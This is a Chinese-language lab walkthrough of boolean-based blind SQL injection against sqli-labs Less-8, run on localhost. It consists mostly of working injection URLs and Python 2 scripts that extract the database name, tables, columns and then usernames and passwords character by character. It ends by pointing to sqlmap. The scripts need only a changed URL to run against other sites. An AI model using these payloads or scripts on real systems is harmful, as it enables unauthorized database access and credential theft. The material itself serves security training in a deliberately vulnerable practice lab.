Less-8 Get - Blind -Boolian Based -Single Quotes
1.原页面
2.?id=1
3.?id=1’
4.尝试布尔盲注
代码存在sql注入漏洞，然而页面既不会回显数据，也不会回显错误信息，我们可以通过构造语句，来判断数据库信息的正确性，再通过页面的“真”和“假”来识别我们判断的是否正确
?id=1’ and (length(database()))>0 --+
?id=1’ and (length(database()))<0 --+
5.判断数据库第一位
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>100–+
第一位是否大于100，是就显示正确，不是就显示错误。
substr()函数：substr(a,b,c)从b位置开始，截取字符串a的c长度ascii()函数：ascii()将某个字符转换为ascii值
判断范围，看看大不大于120
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>120–+
不大于120 ，缩小范围看看大不大于115
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>115–+
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>114–+
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))=115–+
数据库名第一位为115 ，我们查下ASCII对照表，第一位是s。
依次判断数据库剩下的部分。
6.依次猜测表名
?id=1’ and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+
7.依次猜测列名
?id=1’ and (select ascii(substr((select columns_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=117–+
依次猜解效率不高，可以通过编写python 脚本。（搬来了大佬写的脚本 python27运行）
8.获取数据库名和用户：
# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27' # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典
str1 = "You are in..........." # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10): # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
for ss in list1: # 相当于for循环遍历list,然后把每一项赋值给ss
p = payload.format(d='database', n=i, s=database+ss) # 把payload里的{d},{n},{s}赋值
u = requests.get(url+p) # 访问网页
# print p
if str1 in u.content: # 如果str在网页内容里面
database += ss
print u"正在对比database第", i, u"个字符",
print database
break
print u"对比成功,database为:", database
# 开始对比user()#user也是同理
user = ''
for i in range(1, 20):
for ss in list1:
p = payload.format(d='user', n=i, s=user+ss)
u = requests.get(url+p)
# print p
if str1 in u.content:
user += ss
print u"正在对比user第", i, u"个字符",
print user
break
print u"对比成功,user为:", user
print u"database-->", database
print u"user-->", user
a = raw_input()
9.获取表名
# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'
payload = 'and%20ascii(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substr
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):
for j in range(1, 10):
for s in list1:
p = payload.format(t=i, w=j, A=s)
u = requests.get(url+p)
if str1 in u.content:
if i == 0:
tables1 += chr(s)
print u"正在对比第1个表,", u"第", j, u"个字符",tables1
elif i == 1:
tables2 += chr(s)
print u"正在对比第2个表,", u"第", j, u"个字符", tables2
elif i == 2:
tables3 += chr(s)
print u"正在对比第3个表,", u"第", j, u"个字符", tables3
elif i == 3:
tables4 += chr(s)
print u"正在对比第4个表,", u"第", j, u"个字符", tables4
break
print 'tables1-->', tables1
print 'tables2-->', tables2
print 'tables3-->', tables3
print 'tables4-->', tables4
a = raw_input()
10.获取字段名
# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C',
'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z', '.'] # 字典
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \
'%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并
column = ['', '', '', '', '']
str1 = 'You are in...........'
# 以上四个变量就是与本次盲注相关的变量了
for j in range(0, 3):
for i in range(1, 9):
for l in list1:
p = payload.format(w=j, n=i, c=column[j]+l)
u = requests.get(url+p)
if str1 in u.content:
column[j] += l
print u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j]
break
for c in range(0, 5):
print 'column', c+1, '-->', column[c]
a = raw_input()
11.获取用户名和密码
# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C',
'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z', '.'] # 字典
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
for j in range(1, 11):
for l in list1:
p = payload.format(n=i, w=j, d=username[i-1]+l)
u = requests.get(url+p)
if str1 in u.content:
username[i-1] += l
print u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1]
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):
for j in range(1, 11):
for l in list1:
p = payload2.format(n=i, w=j, d=password[i-1]+l)
u = requests.get(url+p)
if str1 in u.content:
password[i-1] += l
print u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1]
print 'id username password'
for i in range(1, 15):
print i, '-', username[i-1], '-', password[i-1]
a = raw_input()
12.也可以使用sqlmap工具